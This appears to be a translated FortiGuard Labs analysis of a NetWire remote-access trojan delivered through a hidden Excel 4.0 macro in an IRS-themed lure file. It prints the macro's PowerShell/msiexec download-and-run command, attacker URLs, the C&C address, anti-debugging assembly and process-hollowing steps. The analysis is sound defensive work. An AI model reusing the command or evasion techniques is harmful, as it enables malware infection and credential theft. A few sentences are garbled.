针对纳税人的NetWire RAT通过旧版Microsoft Excel 4.0 宏进行传播
漏洞介绍
受影响的平台:Windows;
受影响的用户:使用Windows的所有用户;
影响:远程控制受害者的计算机、信息窃取、按键记录器;
严重级别:高;
FortiGuard Labs观察到NetWire RAT(远程访问木马)在过去几年中广泛传播。通过分析NetWire样本,NetWire RAT的重点是窃取凭据信息、按键记录和窃取硬件信息(包括硬盘驱动器、网卡和类似组件)。去年,FortiGuard实验室捕获了NetWire RAT变体。
NetWire是一种商业软件应用程序,在https[:]//www.[]worldwiredlabs[.]com/网站上销售,其NetWire基础版售价为120美元。
在网站上出售的NetWire
几天前,FortiGuard Labs从野外采集了一份新的Excel样本。我对此进行了深入分析,发现它正在使用Excel 4.0 宏传播新的NetWire RAT变体。在本文中,我们将研究此Excel 4.0 宏在Excel文件中的执行方式,如何在受害者的系统上安装NetWire RAT,以及此NetWire RAT变体安装后的实际作用。
Excel 4.0宏及其用途
这是我第一次看到使用Excel 4.0宏将NetWire RAT传播到Excel文件中。因此,了解Excel 4.0 宏非常重要
Excel 4.0于1992年发布,并在Window 3.1上执行。 Excel 4.0包含宏的早期版本,其代码语句使用如下所示的公式语法: (“=SUM(A1,A2)”)。这种宏称为Excel 4.0宏,带有Excel 4.0 宏的Excel文件保存在扩展名为 “.xlm” 的文件中,这就是为什么Excel 4.0 宏也称为XLM 宏的原因。
Excel 5.0在1993年发布后,便开始使用VBA宏(Microsoft Visual Basic for Applications)替换Excel 4.0宏。但是,为了向后兼容,所有更高版本的Microsoft Excel仍支持Excel 4.0宏(XLM)。
当你在更高版本的MS Excel中插入新工作表时,仍然可以选择一个名为"MS Excel 4.0 Macro"的项目。这是唯一可以运行Excel 4.0 宏的工作表类型,尽管你可能不像VBA 宏那样熟悉Excel 4.0 宏,奇热但它经常用于传播多种恶意软件。
使用Excel 4.0 宏有什么好处?
首先,它可以绕过大多数病毒检测,可能是由于该技术已经非常古老(到现在已经28年了),并且在当今很少使用,大多数防病毒引擎无法检测到它,并且将带有恶意Excel 4.0 宏的Excel文件视为干净文件,注意:FortiGate防病毒软件可以检测到恶意的Excel 4.0宏。不过,无法调试Excel 4.0宏。这是因为Microsoft从未为其提供调试功能。这给安全分析师检查复杂的Excel 4.0 宏代码带来了巨大的挑战。由于这些挑战,许多网络犯罪分子认为,使用恶意的Excel 4.0 宏可以提高其恶意软件的感染率。
分析捕获的Excel示例
捕获的Excel文件称为“1040 W2 IRS letter.xls”,基于该名称,该活动试图诱使受害者相信附件包含有关美国税表1040和W2的重要IRS信件。它是OLE(对象链接和嵌入)格式的Excel文件,它是MS Office XP之前(2000年之前)的主要文件格式。从那时起,OLE格式逐渐被基于XML文件构建的OOXML(Office Open XML)格式所取代。
图2.1是在Microsoft Excel中打开此文件时看到的图像,在后台,你可以看到一些混淆的IRS表格。它还要求受害者点击“启用内容”按钮以显示透明表单,从而使恶意Excel 4.0 宏能够执行。
在MS Excel中打开针对纳税人的Excel文件
Excel 4.0宏位于名为“Macro1”的工作表中,你无法在图2.1中看到该表,因为该表已被恶意软件开发者设置为“隐藏”。通过分析“WorkBook”流中的数据字段,我能够删除“隐藏”标志。然后,我就能弄清楚恶意Excel 4.0宏的“Auto_Open”点,这意味着当受害者点击“启用内容”按钮时,该单元格中的宏将自动执行。它在工作表“Macro1”中,单元格号为“$A$9591”。
在图2.2中,你可以看到工作表“Macro1”是可见的,单元格号“$A$9591”的内容是“=EXEC(“powershell msiexe”和“B7578 &”/q /i http[:]//binexeupload[.]ru/ unmodifi[.]msi”)。我很幸运,宏没有被混淆,因此非常容易和清楚地看到。尝试对混淆的几百行混淆的Excel 4.0 宏进行混淆处理,这不是我热衷的任务。
“Macro1!$A$9591”的内容
“=EXEC”是一个内置宏函数,可以调用它来执行带有参数的本地程序。函数值为0x006E,如Excel规范的2.5.198.17 Ftab节中所定义的那样。
“B7578”用于从单元格“$B$7578”中读取一个值,该值为空。因此,Excel 4.0宏将执行程序“powershell”。它将从网站上下载一个MSI文件,然后使用Windows程序“msiexe.exe”执行它。
已下载的MSI文件
MSI文件是Windows用于安装软件的安装软件包文件,它也是OLE格式。攻击者经常选择MSI文件类型来传播恶意软件,因为它也容易绕过许多防病毒服务。注意:FortiGate防病毒软件能够检测到该恶意MSI文件。
下载的MSI文件是 “unmodifiedness.msi”,通过静态分析,我发现它包含具有PE结构(EXE文件)的二进制流,图3.1显示了二进制流信息。
具有二进制流的MSI文件结构
二进制流被提取到一个临时文件(在本文的示例中为MSI1613.tmp)中,并在“msiexe.exe”进程中进行处理时执行。
提取的PE文件(MSI1613.tmp)是一种用MS Visual Basic 5.0-6.0语言编写的恶意软件加载程序或下载程序,让我们看看它执行什么任务。
启动时,它将恶意代码转移到子进程“ieinstal.exe”中并在其中执行,它首先通过调用API CreateProcessInternalW()生成了一个悬浮的子进程“ieinstal.exe”(这是MS Internet Explorer的常见进程,位于“C:\Program Files\ Internet Explorer \”中),如图3.2所示。
生成子进程“ieinst.exe”
然后,它将恶意代码转移到“ieinstal.exe”中新创建的内存空间中。最后,它通过调用API ZwSetContextThread()将“ieinstal.exe”入口点修改为已传输的恶意代码,然后在调用API ZwResumeThread()之后恢复运行。
正在运行的已下载MSI文件的进程树
图3.3是自打开Excel示例以启动“ieinstal.exe”以来相关进程的进程树的屏幕截图。
如前所述,“ieinstal.exe”是Microsoft IE的组件,它是一个伪装程序。结果,受害者很难意识到恶意软件正在其中运行。
它首先将该恶意软件添加到受害者系统注册表中的自动启动组中,以在Windows启动后使其继续运行。图3.4显示了注册表中添加的自动启动项。然后,将提取的PE文件(即MSI1613.tmp之上的文件)复制并重命名为“%UserProfile%\ Coauthor \ JOHNNYCAKE.exe”。
恶意软件已添加到系统注册表中的自动启动组中
接下来,它将从其下载服务器http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin下载加密的bin文件,下面的图3.5是WireShark中下载数据包的屏幕截图。
下载加密的bin文件的包
然后,它解密bin文件以获得另一个PE文件,该文件是新NetWire变体的有效载荷。然后,它将PE文件放入从偏移量0x400000开始的内存中,以替换“ieinst.exe”的现有数据。稍后,有效载荷在线程中执行。
攻击中使用的反分析方法
1. 所有API在需要调用时都会动态加载,API名称保存为哈希码以隐藏其真实名称。
2. 在大多数示例中,当恶意软件调用关键API时,它首先会确定该API是否已设置有断点,包括软件和硬件断点。如果是,它将导致异常并退出。
3. 它还在调用API时对整个代码进行加密,然后在从API返回并要返回给调用者的代码时解密。结果,分析师很难分析调用堆栈。下面是伪代码调用API时的情况:
loc_7A355: ; Before calling API xor [eax], edx ;;Repeat to encrypt entire code from 70000 to 7a210. add eax, 4 cmp eax, ebx jnz short loc_7A355 mov edi, [ebp+128h] mov eax, edi add eax, 5004h mov [edi+5000h], eax mov ecx, 0CCh jmp loc_7A3FF [...] loc_7A84C: ; Is about to call an API cld cmp bx, 0B0Fh jz rease_exception ; call eax ; Call key APIs like InternetOpenA(), InternetOpenUrlA(), etc. movd ecx, mm1 movd edx, mm3 jmp loc_7A8E9 [...] loc_7A8EA: ;After calling an API sub edx, 4 xor [edx], ecx ; Repeat to decrypt entire code from 70000 to 7a210 jmp loc_7A978 [...] nop cmp edx, [ebp+44h] jnz loc_7A8EA jmp loc_7AA0B ;; Return to the caller function
4. 除此之外,它还会调用API AddVectoredExceptionHandler()为“ieinstal.exe”进程添加矢量异常处理程序函数,它可以检测调试事件,一旦检测到“ieinstal.exe”正在调试中,它将引发异常并终止“ieinstal.exe”,这将保护它不被分析。
分析NetWire有效载荷
NetWire有效载荷从线程函数调用的入口点函数Start()开始,要实现键盘记录器的使用,它将启动另一个线程,该线程的线程函数能注册一个Windows类以记录最上面的窗口标题和键盘输入。然后对数据进行编码,并不时将其保存在日志文件中。日志文件以当前日期命名,例如06-04-2020,位于“%Appdata%\ Logs”中。图5.1是有关启动键盘记录程序线程并获取日志文件的完整路径的代码片段。
启动键盘记录程序的线程
遍历整个代码,我们可以看到该结构非常简单明了。除了用于键盘记录器功能的代码外,其余用于连接C&C服务器以及处理控制命令所需的函数。
在我之前于2019年发表的文章中,C&C服务器并没有很好地工作。然而,不仅命令包格式相同,这一次服务器也能正常工作,我将在本文中解释它执行的控制命令。
大多数常量字符串都经过编码,并且在使用它们进行解码之前可以对其进行解码,以防止它们被静态分析。此外,一些关键常量字符串以及C&C服务器IP和端口已加密,并且在刚启动时会被解密。对于此变体,解密后的IP地址和端口字符串为“79.124.8.7:1986”。
当从客户端到C&C服务器的连接建立时,它将使用握手过程,在这个过程中,命令99包被发送到服务器,命令9B返回给客户端。有了这些元素,客户机和服务器都会生成它们自己的加***缓冲区,用于解密和加密以下数据包。
然后NetWire将带有当前系统时间、主机ID、受害者登录用户、计算机名、最顶层windows标题的数据的9B包发送到服务器。在以前的版本中,它包含受害者的IP地址。
服务器每分钟向NetWire客户端发送一次97命令,请求获取受害者的最顶层程序信息,并将97命令包与请求的信息一起返回。
图5.2是Wireshark的屏幕截图,显示了99、9B和97的命令包,主体部分已加密。如你所见,标记的字节是命令值。它前面的四个字节是数据包的大小,后面的数据是正文。
命令99、9B和97的数据包
然后,它要求NetWire通过发送命令C9将受害者的屏幕截图捕获为JPEG,然后NetWire返回带有JPEG的C9包,并使用CB包完成。
NetWire C9命令子函数调用API GetDesktopWindow(),CreateCompatibleBitmap(),BitBlt()和其他API,以将受害者的屏幕以BMP格式捕获,然后将其转换为JPEG。
在图5.3中,它显示了底部内存子窗口中JPEG截图的部分内容。
以JPEG格式捕获的屏幕截图
在我的分析中,C&C服务器通过发送命令A4和A6要求收集受害者的逻辑驱动程序信息以枚举文件。
它可以发送CC,CE,CF和D0的命令组,以请求NetWire枚举并将键盘记录器数据(日志文件)传输到C&C服务器。
在这个新的变体中,我注意到它改进了从受害者系统收集凭证的特性,在处理命令0D3/0D4的子函数中。它还修复了键盘记录程序中的一些错误,在以前的版本中错误地将Esc记录为Ctrl。
总结
通过Excel 4.0宏,我们看到恶意软件的数量在增长,尤其是最近。在这篇文章中,我们详细解释了什么是Excel 4.0宏,它的历史,以及为什么它会流行起来。接下来,我们讨论了如何下载新的NetWire变体并在受害者的系统中执行,它如何执行键盘记录器功能,以及它如何处理来自C&C服务器的控制命令。
因此,我们现在知道NetWire能够捕捉受害者的屏幕并记录他们的键盘输入,例如,填写税务表格、检查他们的在线银行账户、写私人电子邮件等等。